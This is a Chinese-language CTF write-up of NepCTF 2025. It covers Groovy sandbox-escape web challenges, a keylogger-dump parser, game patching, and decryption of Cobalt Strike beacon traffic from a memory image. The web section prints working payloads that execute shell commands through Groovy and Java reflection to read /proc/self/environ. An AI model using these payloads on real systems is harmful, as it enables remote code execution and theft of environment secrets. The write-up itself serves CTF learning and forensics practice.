nepctf2025
就写了三个签到web,抽个时间复现了一下misc
web
easyGooGooVVVY
签到题,打开是个groovy沙箱。直接代码执行即可。
def command='cat /proc/self/environ';def res=command.execute().text;res

RevengeGooGooVVVY
猜测是上一题基础上加了过滤,没看给的源码,直接改用java反射就成功了。
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /proc/self/environ").getText()

JavaSeri
也是签到,shiro框架,工具一把梭。

misc(复现)
misc一题都没写出来。aaaaa
NepBotEvent
看了wp,这题几乎都是ai梭的。ai之间亦有差距啊。
import struct
import sys
# 基于 /usr/include/linux/input-event-codes.h 的键码映射
# 未按下Shift键时的映射
KEY_MAP = {
2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0', 12: '-', 13: '=', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'KEY_ENTER',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 43: '\',
44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 57: ' ' # KEY_SPACE
}
# 按下Shift键时的映射
SHIFT_KEY_MAP = {
2: '!', 3: '@', 4: '#', 5: ' ', 6: '%', 7: '^', 8: '&', 9: '*', 10: '(', 11: ')', 12: '_', 13: '+', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P', 26: '{', 27: '}', 28: 'KEY_ENTER',
30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L', 39: ':', 40: '"', 41: '~', 43: '|',
44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M', 51: '<', 52: '>', 53: '?', 57: ' ' # KEY_SPACE
}
def parse_keylogger(filepath):
"""
解析Linux input_event键盘记录文件。
Args:
filepath (str): keylogger文件的路径。
Returns:
str: 重建出的键盘输入字符串。
"""
reconstructed_string = []
is_shift_pressed = False
# 64位系统中 struct input_event 的大小为 24 字节
# struct timeval (16 bytes) + type (2) + code (2) + value (4)
event_struct_format = '<qqHHi' # 小端序, 2x long long, 2x unsigned short, 1x int
event_size = struct.calcsize(event_struct_format)
try:
with open(filepath, 'rb') as f:
while True:
chunk = f.read(event_size)
if not chunk or len(chunk) < event_size:
break
# 解包二进制数据
tv_sec, tv_usec, ev_type, code, value = struct.unpack(event_struct_format, chunk)
# type=1 代表是键盘事件 (EV_KEY)
if ev_type != 1:
continue
# 根据Shift键(code 42, 54)的按下/松开状态更新标志位
if code in [42, 54]: # KEY_LEFTSHIFT, KEY_RIGHTSHIFT
is_shift_pressed = (value == 1 or value == 2) # 1=按下, 2=长按
continue
# 我们只关心按键被"按下"(value=1)或"长按"(value=2)的事件
if value == 1 or value == 2:
current_map = SHIFT_KEY_MAP if is_shift_pressed else KEY_MAP
char = current_map.get(code)
if char:
# 处理特殊功能键
if char == 'KEY_BACKSPACE':
if reconstructed_string:
reconstructed_string.pop()
elif "KEY_" not in char:
reconstructed_string.append(char)
except FileNotFoundError:
print(f"错误: 文件 '{filepath}' 未找到。请确保脚本和文件在同一目录下。", file=sys.stderr)
return None
except Exception as e:
print(f"解析过程中发生错误: {e}", file=sys.stderr)
return None
return "".join(reconstructed_string)
# --- 主程序 ---
if __name__ == "__main__":
keylogger_file = 'NepBot_keylogger'
print(f"[*] 正在解析文件: {keylogger_file}")
typed_string = parse_keylogger(keylogger_file)
if typed_string:
print("n[+] 成功从键盘记录中重建出以下字符串:")
print(f" {typed_string}")
SpeedMino
俄罗斯方块,可以发现用的是love引擎。DIE看下是SFX格式文件,所以可以直接解压exe程序拿到源码。

main.lua找到游戏逻辑。
搜一下score,发现得分和时间(dt)以及multi(倍率)有关,直接改为100。使分数增加速度变快。

改完后将文件夹拖到love.exe运行即可。
LÖVE 2D引擎下载:https://love2d.org/
我一开始还在疑惑为什么不依赖dll也可以运行。后来发现love引擎已经包含了游戏所需的dll库。

等几十秒就可以了

客服小美
没见过cs流量。这题没看出是cs流量。怪自己太懒了题做少了。老老实实复现
拿到镜像导入lovelymem。

找到了用户JohnDoe。
然后再结合题目打开节假日文件中毒。翻到net文件查看端口

可以发现打开这个文件时原ip向192.168.27.132:12580通信了。猜测这个就是木马地址。
然后分析流量包,筛选http流。

发现真的非常符合cs流量特征,学过的就能一眼看出。

由于CS 的流量是加密的(AES + HMAC),密钥只保存在被控端内存中,抓包抓不到明文或密钥,所以要从内存 dump 中提取。
先lovelymem提取镜像内存。

使用的脚本是cs-extract-key 提取密钥。
密文从返回包里找,随便选一个即可。

然后运行脚本,即可提取出密钥.

拿到密钥后ai写脚本解密流量包即可.密文所有类似POST /submit.php?id=1389642286的请求包中。
import hmac
import binascii
from Crypto.Cipher import AES
import hexdump
# Beacon 固定的 AES 和 HMAC 密钥
AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")
# 粘贴你要解密的密文数据
ENC_HEX = """
00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a
"""
def decrypt_beacon_payload(raw_bytes: bytes, aes_key: bytes, hmac_key: bytes) -> bytes:
# 处理加密长度头(前4字节)
enc_len = int.from_bytes(raw_bytes[:4], byteorder='big')
enc_data = raw_bytes[4:]
# 数据体(不含HMAC)和签名分离
cipher_text = enc_data[:enc_len - 16]
signature = enc_data[enc_len - 16:enc_len]
# 使用默认IV解密(Cobalt Strike 的固定值)
iv = b"abcdefghijklmnop"
# 可启用 HMAC-SHA256 校验
# if hmac.new(hmac_key, cipher_text, digestmod="sha256").digest()[:16] != signature:
# raise ValueError("HMAC 验证失败")
# AES-CBC 解密
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(cipher_text)
return decrypted
def parse_beacon_payload(data: bytes):
counter = int.from_bytes(data[:4], byteorder='big')
length = int.from_bytes(data[4:8], byteorder='big')
output_type = int.from_bytes(data[8:12], byteorder='big')
payload = data[12:12 + length]
print(f"[+] Counter: {counter}")
print(f"[+] Length: {length}")
print(f"[+] Output Type: {output_type}")
print(f"[+] Payload (decoded):")
print(payload.decode(errors='replace'))
print(f"n[+] Hexdump:")
hexdump.hexdump(payload)
def main():
# 清理换行和空格
hex_clean = ENC_HEX.replace('n', '').replace(' ', '')
enc_bytes = bytes.fromhex(hex_clean)
try:
decrypted = decrypt_beacon_payload(enc_bytes, AES_KEY, HMAC_KEY)
parse_beacon_payload(decrypted)
except Exception as e:
print(f"[-] 解密失败: {e}")
if __name__ == "__main__":
main()
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}
MoewBle喵泡
这题看了很多wp。大佬都是改ce的。我选了个最简单的方法复现。
flag共有9个部分,8个部分可以直接notepad打开。在level2和level3源码中直接搜索得到

You find first part: 9472
2nd part: 1248-77
part 3 is "3d-0"
part four: b25-
第五部分是 0e2
服了你了,第六部分是 d-db 。
8 is c29
恭喜通关啦!最后一段flag是 9389。
差个flag7。
题目提示GM作弊码。这里指的是KonamiKey:上上下下左右左右ba
在游戏中暂停页面输入该作弊指令即可拿到flag7

参考
https://blog.csdn.net/edigexiong/article/details/149725919
https://blog.csdn.net/2401_87558262/article/details/149733054
misc题还是做少了,复现的四道misc感觉自己应该能写两道的。多多努力吧。




